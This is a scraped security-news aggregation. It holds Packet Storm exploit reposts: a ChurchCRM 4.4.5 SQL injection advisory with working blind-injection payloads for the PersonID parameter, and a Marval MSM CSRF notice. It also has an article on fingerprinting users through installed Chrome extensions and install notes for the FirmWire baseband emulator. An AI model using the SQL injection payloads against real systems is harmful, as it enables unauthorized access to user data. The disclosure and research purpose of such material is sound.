Exploit Collector
Infiray IRAY-A8Z3 1.0.957 Code Execution / Overflow / Hardcoded Credentials

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Exploit Collector
ChurchCRM 4.4.5 SQL Injection

https://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png
ChurchCRM version 4.4.5 suffers from a remote SQL injection vulnerability.

SHA-256 | c6734b9cfce832dff774c0d27700820ddbb3e687bf6c1a7e71caa63a84f2a804

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## Title: ChurchCRM 4.4.5 SQLi session hijacking L2
## Author: nu11secur1ty
## Date: 05.11.2022
## Vendor: https://churchcrm.io/
## Software: https://github.com/ChurchCRM/CRM
## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325
## Description:
There is a SQL Injection PWN cookie hijacking session vulnerability - broken authentication sanitary logic, in ChurchCRM 4.4.5 via the 'PersonID' parameter in the WhyCameEditor.php app.
The authenticated user can get all information for all users on this system when he hit an active session and use this active session in L2 network or even an external network - domain.

Status: Highly Vulnerable

[+] Payloads:

```mysql
---
Parameter: PersonID (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: PersonID=(SELECT (CASE WHEN (6445=6445) THEN 1 ELSE (SELECT 2844 UNION SELECT 1058) END))&WhyCameID=1&linkBack=

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: PersonID=1 AND (SELECT 7116 FROM (SELECT(SLEEP(5)))xUOx)&WhyCameID=1&linkBack=
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325)

## Proof and Exploit:
[href](https://streamable.com/ust7qt)


Source:packetstormsecurity.com

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Exploit Collector
Marval MSM 14.19.0.12476 Cross Site Request Forgery

https://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png
Marval MSM version 14.19.0.12476 suffers from a cross site request forgery vulnerability.

SHA-256 | aecc677dbeadf1e311ca918427b11abd363470e74f04e5d771a7638543fba47c

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# Exploit Title: Marval MSM v14.19.0.12476 - Cross-Site Request Forgery (CSRF)
# Date: 27/5/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://www.marvalnorthamerica.com/
# Software Link: https://www.marvalnorthamerica.com/
# Version: v14.19.0.12476
# Tested on: Windows
# PoCs: https://drive.google.com/drive/folders/1Zy5Oa-maLo0ACfLz90uvxqxwG18DwAZY
# 2FA Bypass:

Source:packetstormsecurity.com

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Black Hat Ethical Hacking
Google Chrome extensions can be fingerprinted to track you online

Google Chrome extensions can be fingerprinted to track you onlinePost Views: 16
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A researcher has created a website that uses your installed Google Chrome extensions to generate a fingerprint of your device that can be used to track you online.
To track users on the web, it is possible to create fingerprints, or tracking hashes, based on various characteristics of a device connecting to a website. These characteristics include GPU performance, installed Windows applications, a device’s screen resolution, hardware configuration, and even the installed fonts.

It is then possible to track a device across sites using the same fingerprinting method. Fingerprint from installed Chrome extensionsYesterday, web developer ‘z0ccc’ shared a new fingerprinting site called ‘Extension Fingerprints’ that can generate a tracking hash based on a browser’s installed Google Chrome extensions.

When creating a Chrome browser extension, it is possible to declare certain assets as ‘web accessible resources‘ that web pages or other extensions can access.

These resources are typically image files, which are declared using the ‘web_accessible_resources‘ property in a browser extension’s manifest file.

An example declaration of web-accessible resources is shown below: "web_accessible_resources": [
{
"resources": [ "logo.png" ],
"matches": [ "https://www.bleepingcomputer.com/*" ]
}
],As previously disclosed in 2019, it is possible to use web-accessible resources to check for installed extensions and generate a fingerprint of a visitor’s browser based on the combination of found extensions.
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png To prevent detection, z0ccc says that some extensions use a secret token that is required to access a web resource. However, the researcher discovered a ‘Resource timing comparison’ method that can still be be used to detect if the extension is installed.

“Resources of protected extensions will take longer to fetch than resources of extensions that are not installed. By comparing the timing differences you can accurately determine if the protected extensions are installed,” explained z0ccc on the project’s GitHub page.

To illustrate this fingerprinting method, z0ccc created an Extension Fingerprints website that will check a visitor’s browser for the existence of web-accessible resources in 1,170 popular extensions available on the Google Chrome Web Store.

Some of the extensions that the website will identify are uBlock, LastPass, Adobe Acrobat, Honey, Grammarly, Rakuten, and ColorZilla.

Based on the combination of installed extensions, the website will generate a tracking hash that can be used to track that particular browser, as shown below.
https://www.bleepstatic.com/images/news/security/f/fingerprint/extension-fingerprints/extension-fingerprints.jpg
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the fingerprinting model can further refine the fingerprint, making the hashes unique per user.

“This is definitely a viable option for fingerprinting users,” z0ccc explained in an email to BleepingComputer.

“Especially using the ‘fetching web accessible resources’ method. If this is combined with other user data (like user agents, timezones etc) users could be very easily identified.”
Trending: New Linux rootkit, Syslogk uses magic packets to trigger backdoor
The Extensions Fingerprints site only works with Chromium browsers installing extensions from the Chrome Web Store. While this method will work with Microsoft Edge, it would need to be modified to use extension IDs from Microsoft’s extension store.

This method does not work with Mozilla Firefox add-ons as Firefox extension IDs are unique for every browser instance. uBlock is the most commonly installedWhile z0ccc is not collecting any data regarding installed extensions, his own tests showed that uBlock installed is the most common extension fingerprint.

“By far the most popular is having no extensions installed. As previously said I do not collect specific extension data but in my own testing it seems that having only ublock installed is a common extension fingerprint,” shared z0ccc.

“Having 3+ detectable extensions installed seems to always make your fingerprint very unique.”

Below are the percentages of users with various popular extensions installed from tests conducted by BleepingComputer.

* 58.248% – No extensions installed or enabled.
* 2.065% – Only Google Docs Offline, which is the only extension installed by default.
* 0.528% – uBlock Origin + Google Docs Offline
* 0.238% – AdBlock + Google Docs Offline
* 0.141% – Adobe Acrobat + Google Docs Offline
* 0.122% – Google Translate + Google Docs Offline
* 0.019% – Malwarebytes Browser Guard
* 0.058% – Grammarly + Google Docs Offline
* 0.058% – LastPass + Google Docs Offline
* 0.051% – Honey + Google Docs Offline
* 0.013% – ColorZilla + Google Docs Offline
Trending: Offensive Security Tool: Mobile Security Framework (MobSF) Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?

If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
In our tests, installing three to four extensions brought the percentage of users using the same extension to as low as 0.006%. Obviously, the more installed extensions, the fewer people will have the same combination installed.

z0ccc says the 0.006% percentage indicates that you are the only user with that combination of extensions, but this will change as more people visit the site.

Extension Fingerprints has been released as an open-source React project on GitHub, allowing anyone to see how to query for the presence of installed extensions.
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90.jpg PyPI package ‘keep’ mistakenly included a password stealer7 days ago
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The post Google Chrome extensions can be fingerprinted to track you online first appeared on Black Hat Ethical Hacking.

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How I found 5 CVEs in few days

Hi all,Continue reading on Medium »
Read more...

How I found 5 CVEs in few days
https://medium.com/@agrawalsmart7/how-i-found-5-cves-in-few-days-88ad1c55372?source=rss------bug_bounty-5

Hi all,Continue reading on Medium » (https://medium.com/@agrawalsmart7/how-i-found-5-cves-in-few-days-88ad1c55372?source=rss------bug_bounty-5)

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Kali Linux Tutorials
FirmWire : b Full-System Baseband Firmware Emulation Platform

FirmWire is a full-system baseband firmware analysis platform that supports Samsung and MediaTek. It enables fuzzing, root-cause analysis, and debugging of baseband firmware images. See the FirmWire documentation to get started! InstallationThe recommended way of using FirmWire is by using the supplied Dockerfile. To build the docker file, execute the following commands:

git clone https://github.com/FirmWire/FirmWire.git
cd FirmWire
git clone https://github.com/FirmWire/panda.git
This will take some time
docker build -t firmwire .

Afterwards, you can obtain an interactive shell to a docker environment with FirmWire installed by executing:

docker run –rm -it -v $(pwd):/firmwire firmwire

From here, you can directly go to check out our quick start documentation to emulate your first modem! Visual Studio CodeAlternatively to using docker from your commandline, you can also create a FirmWire environment using VScode, by using the devcontainerand dockerextensions. After cloning FirmWire and FirmWire’s version of Panda, just open the corresponding directory in code and execute: > Remote-Containers: Add Development Container Configuration FilesThen, select From Dockerfile, which should automatically create a .devcontainerfile. Afterwards, follow code’s prompt to Reopen in container.

This will build the docker container and provide you an interactive shell inside the docker environment, with files transparently forwarded to the host directories. This is the favorite development setup for some of the FirmWire developers! Manual InstallationThe manual installation of FirmWire is a bit more tedious. Besides installing FirmWire and its requirement, you also need to:

* Manually build Panda
* Install PyPanda
* Manually build the FirmWire mods

For information on how to carry out these individual steps, please refer to the Dockerfile. Quick StartHave you installed FirmWire and are all eager to emulate your modem FirmWire? Very good! All you have to run after installation is:

$ ./firmwire.py modem.bin

This will automatically recognize the firmware, unpack it, and select a loader and machine to run it. You can also load firmware from a URL to get started:

$ ./firmwire.py https://github.com/grant-h/ShannonFirmware/raw/master/modem_files/CP_G973FXXU3ASG8_CP13372649_CL16487963_QB24948473_REV01_user_low_ship.tar.md5.lz4

Currently, FirmWire supports a subset of MediaTek MTK and Samsung Shannon firmware images.

Please note that FirmWire requires a couple different TCP ports for its operation. If you have any restrictions on which ports can be used, please use the --consecutive-portsflag to specify which ports can be used. For instance, if ports 10000-10005 are free to use on your system, invoke FirmWire as follows:

$ ./firmwire.py –consecutive-ports 10000 modem.bin Supported ImagesMediaTek* Samsung A10s (MT6762)
* Samsung A41 (MT6768) Shannon* Most images for Galaxy S7, S7e (S335)
* Moto One Vision (S337)
* Galaxy S8, S8+ (S355)
* Galaxy S9 (S360)
* Galaxy S10, S10e (S5000) Using GhidraWe have custom patches to Ghidra which are required if you are analyzing MediaTek firmware. See https://github.com/FirmWire/ghidra for setup instructions. For Shannon firmware see https://github.com/grant-h/ShannonBaseband#getting-started-with-shannon-firmware. You will need the ShannonLoader, which can be installed on to the custom Ghidra for MediaTek (or just use the upstream Ghidra). Technical BackgroundFirmWire is a baseband analysis platform. As input, it takes a baseband firmware image and tries to create an emulation environment for this image on-the-fly. Emulation CoreThe Emulation Core of FirmWire is built on top of avatar2 and PANDA. The core emulation cap[...]

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